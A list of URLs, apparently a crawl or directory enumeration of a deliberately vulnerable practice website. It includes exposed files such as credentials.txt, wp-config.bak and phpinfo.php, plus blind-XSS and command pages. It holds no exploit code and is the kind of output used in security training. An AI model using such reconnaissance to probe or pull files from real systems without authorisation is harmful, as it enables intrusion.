http://testphp.vulnweb.com/AJAX/titles.php
http://testphp.vulnweb.com/artists.php
http://testphp.vulnweb.com/bxss/
http://testphp.vulnweb.com/bxss/adminPan3l/
http://testphp.vulnweb.com/bxss/adminPan3l/index.php
http://testphp.vulnweb.com/bxss/adminPan3l/style.css
http://testphp.vulnweb.com/bxss/cleanDatabase.php
http://testphp.vulnweb.com/bxss/database_connect.php
http://testphp.vulnweb.com/bxss/index.php
http://testphp.vulnweb.com/bxss/test.js
http://testphp.vulnweb.com/bxss/vuln.php
http://testphp.vulnweb.com/cart.php
http://testphp.vulnweb.com/categories.php
http://testphp.vulnweb.com/clearguestbook.php
http://testphp.vulnweb.com/clientaccesspolicy.xml
http://testphp.vulnweb.com/comment.php
http://testphp.vulnweb.com/Connections/
http://testphp.vulnweb.com/Connections/DB_Connection.php
http://testphp.vulnweb.com/crossdomain.xml
http://testphp.vulnweb.com/CVS/
http://testphp.vulnweb.com/CVS/Entries
http://testphp.vulnweb.com/CVS/Entries.Log
http://testphp.vulnweb.com/CVS/Repository
http://testphp.vulnweb.com/CVS/Root
http://testphp.vulnweb.com/database_connect.php
http://testphp.vulnweb.com/disclaimer.php
http://testphp.vulnweb.com/Flash/
http://testphp.vulnweb.com/Flash/add.fla
http://testphp.vulnweb.com/Flash/add.swf
http://testphp.vulnweb.com/guestbook.php
http://testphp.vulnweb.com/hpp/

```
http://testphp.vulnweb.com/hpp/index.php
http://testphp.vulnweb.com/hpp/params.php
http://testphp.vulnweb.com/hpp/test.php
http://testphp.vulnweb.com/images/
http://testphp.vulnweb.com/index.bak
http://testphp.vulnweb.com/index.php
http://testphp.vulnweb.com/index.zip
http://testphp.vulnweb.com/listproducts.php
http://testphp.vulnweb.com/login.php
http://testphp.vulnweb.com/logout.php
http://testphp.vulnweb.com/medias/
http://testphp.vulnweb.com/medias/css/
http://testphp.vulnweb.com/medias/css/main.css
http://testphp.vulnweb.com/medias/img/
http://testphp.vulnweb.com/medias/js/
http://testphp.vulnweb.com/medias/js/common_functions.js
http://testphp.vulnweb.com/Mod_Rewrite_Shop/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/.htaccess
http://testphp.vulnweb.com/Mod_Rewrite_Shop/buy.php
http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/details.php
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/images/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/index.php
http://testphp.vulnweb.com/Mod_Rewrite_Shop/rate.php
http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-3.html
http://testphp.vulnweb.com/pictures/
http://testphp.vulnweb.com/pictures/1.jpg.tn
http://testphp.vulnweb.com/pictures/2.jpg.tn
http://testphp.vulnweb.com/pictures/3.jpg.tn
http://testphp.vulnweb.com/pictures/4.jpg.tn
http://testphp.vulnweb.com/pictures/5.jpg.tn
http://testphp.vulnweb.com/pictures/6.jpg.tn
http://testphp.vulnweb.com/pictures/7.jpg.tn
http://testphp.vulnweb.com/pictures/8.jpg.tn
http://testphp.vulnweb.com/pictures/credentials.txt
http://testphp.vulnweb.com/pictures/ipaddresses.txt
http://testphp.vulnweb.com/pictures/path-disclosure-unix.html
http://testphp.vulnweb.com/pictures/path-disclosure-win.html
http://testphp.vulnweb.com/pictures/wp-config.bak
http://testphp.vulnweb.com/pictures/WS_FTP.LOG
http://testphp.vulnweb.com/privacy.php
http://testphp.vulnweb.com/product.php
http://testphp.vulnweb.com/search.php
http://testphp.vulnweb.com/secured/
http://testphp.vulnweb.com/secured/database_connect.php
http://testphp.vulnweb.com/secured/index.php
http://testphp.vulnweb.com/secured/newuser.php
http://testphp.vulnweb.com/secured/office.htm
http://testphp.vulnweb.com/secured/office_files/
http://testphp.vulnweb.com/secured/office_files/filelist.xml
http://testphp.vulnweb.com/secured/phpinfo.php
http://testphp.vulnweb.com/secured/style.css
http://testphp.vulnweb.com/sendcommand.php
http://testphp.vulnweb.com/showimage.php
```

http://testphp.vulnweb.com/signup.php
http://testphp.vulnweb.com/style.css
http://testphp.vulnweb.com/Templates/
http://testphp.vulnweb.com/Templates/logout.php
http://testphp.vulnweb.com/Templates/main_dynamic_template.dwt.php
http://testphp.vulnweb.com/userinfo.php
http://testphp.vulnweb.com/wvstests/
http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/
http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/scripts/
http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/scripts/version.php